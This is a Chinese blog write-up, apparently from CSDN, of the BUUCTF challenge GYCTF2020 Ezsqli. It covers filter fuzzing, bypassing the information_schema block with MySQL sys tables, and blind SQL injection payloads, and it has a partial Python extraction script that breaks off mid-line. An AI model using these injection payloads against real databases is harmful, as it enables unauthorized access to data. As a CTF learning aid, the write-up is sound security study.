buu-[GYCTF2020]Ezsqli

博客主要讲述了在GYCTF2020的Ezsqli挑战中,如何面对图片中的输入框进行SQL注入攻击。作者发现通过fuzz测试,部分字符被过滤,并且利用MySQL 5.7版本的sys库来获取数据库信息。通过无列名注入技术,使用sys库中的不同表找到表名。接着,博主尝试了按位比较和或运算符来获取flag,其中使用了sleep函数来避免请求过多导致的错误。最后,博主提到flag需要转换为小写才能成功提交。
摘要由CSDN通过智能技术生成

朴实无华一张图片,一个输入框,图片太大就不放了
在这里插入图片描述
1是Nu1L,2是V&N,剩下都是“Error Occured When Fetch Result.”
fuzz一下,507的都是被过滤了的
在这里插入图片描述
过滤了关键的information,
要用到无列名注入,找库名时需要用到用到5.7版本新增的sys库
利用sys库里的三个表都行
schema_table_statistics/schema_table_statistics_with_buffer
/x$schema_flattened_keys
表可以代替information.schema找到表名
在这里插入图片描述
找到表名后用按位比较跑
2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

麻了,试了一晚上异或没搞出来,然后就用或了,getflag的二分脚本也先放着,后面补
sleep(5)防止buu爆429乱跑

import requests
import requests
import time
url = 'http://6ab28464-7325-4ec9-b2a9-4ed67560619b.node4.buuoj.cn:81/'

def findtable():
    payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{},1))>{}'
    flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值